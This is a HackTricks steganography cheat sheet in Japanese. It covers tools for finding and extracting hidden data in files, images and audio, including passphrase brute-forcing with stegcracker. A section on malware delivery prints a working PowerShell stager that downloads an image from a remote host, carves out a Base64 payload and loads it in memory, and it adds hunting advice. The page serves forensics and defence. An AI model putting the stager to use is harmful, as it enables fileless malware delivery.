Stego Tricks
Reading time: 13 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ファイルからデータを抽出する
Binwalk
埋め込まれた隠しファイルやデータを検索するためのツールです。インストールは apt で行い、ソースは GitHub で入手できます。
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
Foremost
ヘッダーとフッターに基づいてファイルを復元し、png画像に有用です。aptでインストールでき、そのソースは GitHub にあります。
foremost -i file # Extracts data
Exiftool
ファイルのメタデータを表示するのに役立ちます。利用可能 here.
exiftool file # Shows the metadata
Exiv2
exiftoolと同様、メタデータの表示用。 aptでインストール可能、ソースはGitHubにあり、official websiteがある。
exiv2 file # Shows the metadata
File
扱っているファイルの種類を特定します。
Strings
ファイルから可読な文字列を抽出します。さまざまなエンコーディング設定を使用して出力をフィルタリングできます。
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
strings -n 6 file | tail -n 20 # Last 20 strings
strings -e s -n 6 file # 7bit strings
strings -e S -n 6 file # 8bit strings
strings -e l -n 6 file # 16bit strings (little-endian)
strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
Comparison (cmp)
変更されたファイルを、オンラインで見つかるオリジナル版と比較するのに便利です。
cmp original.jpg stego.jpg -b -l
テキストからの隠しデータの抽出
スペース内の隠しデータ
一見空白に見えるスペース内の不可視文字が情報を隠している場合があります。このデータを抽出するには、次のサイトを参照してください: https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder.
画像からのデータ抽出
GraphicMagick を使った画像の詳細確認
GraphicMagick は画像ファイルタイプを判別し、破損の可能性を特定するために使用します。画像を検査するには、以下のコマンドを実行してください:
./magick identify -verbose stego.jpg
破損した画像を修復しようとする場合、メタデータコメントを追加すると役立つことがあります:
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
Steghide によるデータ隠蔽
Steghide は JPEG, BMP, WAV, and AU ファイル内にデータを隠すことができ、暗号化されたデータの埋め込みと抽出が可能です。インストールは apt を使って簡単に行え、source code is available on GitHub。
コマンド:
steghide info fileはファイルに隠しデータが含まれているかを表示します。steghide extract -sf file [--passphrase password]は隠しデータを抽出します(パスフレーズは任意)。
Web ベースで抽出する場合は、this website を利用してください。
Bruteforce Attack with Stegcracker:
- Steghide のパスワードクラックを試みるには、stegcracker を次のように使用します:
stegcracker <file> [<wordlist>]
zsteg for PNG and BMP Files
zsteg は PNG と BMP ファイル内の隠しデータの発見に特化しています。インストールは gem install zsteg で行い、ソースは source on GitHub にあります。
Commands:
zsteg -a fileはファイルに対してすべての検出手法を適用します。zsteg -E fileはデータ抽出のためのペイロードを指定します。
StegoVeritas and Stegsolve
stegoVeritas はメタデータの確認、画像変換の実行、LSB brute forcing の適用などの機能を持ちます。オプション一覧は stegoveritas.py -h、すべてのチェックを実行するには stegoveritas.py stego.jpg を使用します。
Stegsolve は画像内の隠れたテキストやメッセージを明らかにするために様々なカラーフィルタを適用します。入手は GitHub から可能です。
FFT for Hidden Content Detection
Fast Fourier Transform (FFT) 技術は画像中の隠れたコンテンツをあぶり出すのに有効です。参考になるリソースには以下があります:
Stegpy for Audio and Image Files
Stegpy は画像やオーディオファイルに情報を埋め込むことができ、PNG、BMP、GIF、WebP、WAV などのフォーマットをサポートします。入手は GitHub で可能です。
Pngcheck for PNG File Analysis
PNG ファイルを解析したり真正性を検証したりするには、次を使用してください:
apt-get install pngcheck
pngcheck stego.png
画像解析の追加ツール
詳しく調べるには、次を参照してください:
マーカー区切りの Base64 ペイロードが画像に隠されるケース (malware delivery)
一般的なローダーは、正当な画像(多くは GIF/PNG)の中に平文の Base64 エンコードされたペイロードを埋め込むことが増えています。ピクセル単位の LSB の代わりに、ペイロードはファイルのテキスト/メタデータ内に埋め込まれた一意の開始/終了マーカー文字列で区切られます。A PowerShell stager は次のように動作します:
- Downloads the image over HTTP(S)
- Locates the marker strings (examples observed: <<sudo_png>> … <<sudo_odt>>)
- Extracts the between-text and Base64-decodes it to bytes
- Loads the .NET assembly in-memory and invokes a known entry method (no file written to disk)
最小限の PowerShell carving/loading スニペット
$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}
注記
- This falls under ATT&CK T1027.003 (steganography). マーカー文字列はキャンペーンごとに異なります。
- Hunting: ダウンロードした画像を既知のデリミタでスキャンし、
PowerShellがDownloadStringの後にFromBase64Stringを使用しているものをフラグしてください。
See also phishing delivery examples and full in-memory invocation flow here:
オーディオからのデータ抽出
Audio steganography offers a unique method to conceal information within sound files. 隠されたコンテンツの埋め込みや抽出には様々なツールが使われます。
Steghide (JPEG, BMP, WAV, AU)
SteghideはJPEG、BMP、WAV、AUファイルにデータを隠すための多用途なツールです。詳しい手順はstego tricks documentationに記載されています。
Stegpy (PNG, BMP, GIF, WebP, WAV)
このツールはPNG、BMP、GIF、WebP、WAVなど多くのフォーマットに対応しています。詳細はStegpy's sectionを参照してください。
ffmpeg
ffmpegはオーディオファイルの整合性を評価する上で重要で、詳細情報を表示し不一致を特定するのに役立ちます。
ffmpeg -v info -i stego.mp3 -f null -
WavSteg (WAV)
WavStegは、最下位ビット方式を用いてWAVファイル内にデータを隠蔽および抽出するのに優れています。利用はGitHubで可能です。コマンドは以下の通り:
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
Deepsound
Deepsound は音声ファイル内の情報を AES-256 で暗号化して埋め込み、検出できます。ダウンロードは the official page から可能です。
Sonic Visualizer
Sonic Visualizer は音声ファイルの視覚的および解析的な検査に非常に有用なツールで、他の手段では検出できない隠れた要素を明らかにできます。詳しくは the official website をご覧ください。
DTMF Tones - Dial Tones
音声ファイル内の DTMF トーンの検出は、this DTMF detector や DialABC のようなオンラインツールで行えます。
その他の手法
Binary Length SQRT - QR Code
長さが平方数になるバイナリデータは QR Code を表している可能性があります。確認するには次のスニペットを使用してください:
import math
math.sqrt(2500) #50
2進数から画像への変換については、dcode を参照してください。QRコードを読み取るには、このオンラインバーコードリーダー を使用してください。
点字翻訳
点字を翻訳するには、Branah Braille Translator が優れたリソースです。
参考資料
- https://0xrick.github.io/lists/stego/
- https://github.com/DominicBreuker/stego-toolkit
- Unit 42 – PhantomVAI Loader Delivers a Range of Infostealers
- MITRE ATT&CK – Steganography (T1027.003)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks